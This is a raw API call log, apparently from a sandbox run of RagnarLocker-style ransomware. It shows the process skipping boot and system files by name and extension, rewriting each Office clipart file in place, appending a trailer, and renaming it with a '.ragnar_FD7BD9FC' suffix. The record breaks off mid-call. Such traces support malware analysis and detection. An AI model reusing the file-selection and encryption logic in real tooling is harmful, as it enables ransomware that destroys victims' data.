[0081.083] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.083] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.084] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.084] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.084] GetProcessHeap () returned 0x580000 [0081.084] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.084] CloseHandle (hObject=0xf4) returned 1 [0081.084] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" [0081.084] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.ragnar_FD7BD9FC" [0081.084] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.084] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00407_.WMF", cAlternateFileName="")) returned 1 [0081.084] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.085] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD00407_.WMF" | out: lpString1="DD00407_.WMF") returned="DD00407_.WMF" [0081.085] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned=".WMF" [0081.085] lstrcmpiW (lpString1="DD00407_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.085] lstrcmpiW (lpString1="DD00407_.WMF", lpString2="autorun.inf") returned 1 [0081.085] lstrcmpiW (lpString1="DD00407_.WMF", lpString2="boot.ini") returned 1 [0081.085] lstrcmpiW (lpString1="DD00407_.WMF", lpString2="bootfont.bin") returned 1 [0081.085] lstrcmpiW (lpString1="DD00407_.WMF", lpString2="bootsect.bak") returned 1 [0081.085] lstrcmpiW (lpString1="DD00407_.WMF", lpString2="bootmgr") returned 1 [0081.085] lstrcmpiW (lpString1="DD00407_.WMF", lpString2="bootmgr.efi") returned 1 [0081.085] lstrcmpiW (lpString1="DD00407_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.085] lstrcmpiW (lpString1="DD00407_.WMF", lpString2="desktop.ini") returned -1 [0081.085] lstrcmpiW (lpString1="DD00407_.WMF", lpString2="iconcache.db") returned -1 [0081.085] lstrcmpiW (lpString1="DD00407_.WMF", lpString2="ntldr") returned -1 [0081.085] lstrcmpiW (lpString1="DD00407_.WMF", lpString2="ntuser.dat") returned -1 [0081.085] lstrcmpiW (lpString1="DD00407_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.085] lstrcmpiW (lpString1="DD00407_.WMF", lpString2="ntuser.ini") returned -1 [0081.085] lstrcmpiW (lpString1="DD00407_.WMF", lpString2="thumbs.db") returned -1 [0081.085] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.085] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.085] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.085] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.085] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.085] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.085] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x20 [0081.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.086] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7828) returned 1 [0081.086] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.086] GetProcessHeap () returned 0x580000 [0081.086] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.086] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.097] VirtualAlloc (lpAddress=0x0, dwSize=0x1e94, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.098] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.098] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.098] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1e94, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1e94, lpOverlapped=0x0) returned 1 [0081.099] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.099] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e94, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.099] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1e94, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1e94, lpOverlapped=0x0) returned 1 [0081.099] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e94, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.099] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.099] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.099] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.099] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.099] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.100] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.100] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.100] GetProcessHeap () returned 0x580000 [0081.100] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.100] CloseHandle (hObject=0xf4) returned 1 [0081.100] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" [0081.100] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.ragnar_FD7BD9FC" [0081.100] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.100] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00413_.WMF", cAlternateFileName="")) returned 1 [0081.100] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.100] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD00413_.WMF" | out: lpString1="DD00413_.WMF") returned="DD00413_.WMF" [0081.100] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned=".WMF" [0081.100] lstrcmpiW (lpString1="DD00413_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.101] lstrcmpiW (lpString1="DD00413_.WMF", lpString2="autorun.inf") returned 1 [0081.101] lstrcmpiW (lpString1="DD00413_.WMF", lpString2="boot.ini") returned 1 [0081.101] lstrcmpiW (lpString1="DD00413_.WMF", lpString2="bootfont.bin") returned 1 [0081.101] lstrcmpiW (lpString1="DD00413_.WMF", lpString2="bootsect.bak") returned 1 [0081.101] lstrcmpiW (lpString1="DD00413_.WMF", lpString2="bootmgr") returned 1 [0081.101] lstrcmpiW (lpString1="DD00413_.WMF", lpString2="bootmgr.efi") returned 1 [0081.101] lstrcmpiW (lpString1="DD00413_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.101] lstrcmpiW (lpString1="DD00413_.WMF", lpString2="desktop.ini") returned -1 [0081.101] lstrcmpiW (lpString1="DD00413_.WMF", lpString2="iconcache.db") returned -1 [0081.101] lstrcmpiW (lpString1="DD00413_.WMF", lpString2="ntldr") returned -1 [0081.101] lstrcmpiW (lpString1="DD00413_.WMF", lpString2="ntuser.dat") returned -1 [0081.101] lstrcmpiW (lpString1="DD00413_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.101] lstrcmpiW (lpString1="DD00413_.WMF", lpString2="ntuser.ini") returned -1 [0081.101] lstrcmpiW (lpString1="DD00413_.WMF", lpString2="thumbs.db") returned -1 [0081.101] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.101] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.101] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.101] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.101] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.101] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.101] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x20 [0081.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.102] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=42992) returned 1 [0081.102] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa7e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.102] GetProcessHeap () returned 0x580000 [0081.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.102] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.151] VirtualAlloc (lpAddress=0x0, dwSize=0xa7f0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.151] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.151] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.151] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa7f0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa7f0, lpOverlapped=0x0) returned 1 [0081.169] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.169] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa7f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.169] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa7f0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa7f0, lpOverlapped=0x0) returned 1 [0081.169] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa7f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.169] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.170] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa7f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.170] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.170] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.170] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.170] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.170] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.170] GetProcessHeap () returned 0x580000 [0081.170] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0081.170] CloseHandle (hObject=0xf4) returned 1 [0081.170] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" [0081.170] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.ragnar_FD7BD9FC" [0081.170] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0081.171] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa79c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00414_.WMF", cAlternateFileName="")) returned 1 [0081.171] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0081.171] lstrcpyW (in: lpString1=0x1eb62e, lpString2="DD00414_.WMF" | out: lpString1="DD00414_.WMF") returned="DD00414_.WMF" [0081.171] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned=".WMF" [0081.171] lstrcmpiW (lpString1="DD00414_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0081.171] lstrcmpiW (lpString1="DD00414_.WMF", lpString2="autorun.inf") returned 1 [0081.171] lstrcmpiW (lpString1="DD00414_.WMF", lpString2="boot.ini") returned 1 [0081.171] lstrcmpiW (lpString1="DD00414_.WMF", lpString2="bootfont.bin") returned 1 [0081.171] lstrcmpiW (lpString1="DD00414_.WMF", lpString2="bootsect.bak") returned 1 [0081.171] lstrcmpiW (lpString1="DD00414_.WMF", lpString2="bootmgr") returned 1 [0081.171] lstrcmpiW (lpString1="DD00414_.WMF", lpString2="bootmgr.efi") returned 1 [0081.171] lstrcmpiW (lpString1="DD00414_.WMF", lpString2="bootmgfw.efi") returned 1 [0081.171] lstrcmpiW (lpString1="DD00414_.WMF", lpString2="desktop.ini") returned -1 [0081.171] lstrcmpiW (lpString1="DD00414_.WMF", lpString2="iconcache.db") returned -1 [0081.172] lstrcmpiW (lpString1="DD00414_.WMF", lpString2="ntldr") returned -1 [0081.172] lstrcmpiW (lpString1="DD00414_.WMF", lpString2="ntuser.dat") returned -1 [0081.172] lstrcmpiW (lpString1="DD00414_.WMF", lpString2="ntuser.dat.log") returned -1 [0081.172] lstrcmpiW (lpString1="DD00414_.WMF", lpString2="ntuser.ini") returned -1 [0081.172] lstrcmpiW (lpString1="DD00414_.WMF", lpString2="thumbs.db") returned -1 [0081.172] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0081.172] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0081.172] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0081.172] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0081.172] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0081.172] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0081.172] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0081.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x20 [0081.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0081.172] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=42908) returned 1 [0081.172] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa793, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.172] GetProcessHeap () returned 0x580000 [0081.172] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0081.172] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0081.174] VirtualAlloc (lpAddress=0x0, dwSize=0xa79c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0081.175] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.175] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0081.175] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa79c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa79c, lpOverlapped=0x0) returned 1 [0081.178] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0081.178] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa79c, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.178] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa79c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa79c, lpOverlapped=0x0) returned 1 [0081.178] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa79c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0081.178] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0081.179] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa79c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.179] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0081.179] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.179] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0081.179] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0081.179] UnlockFile 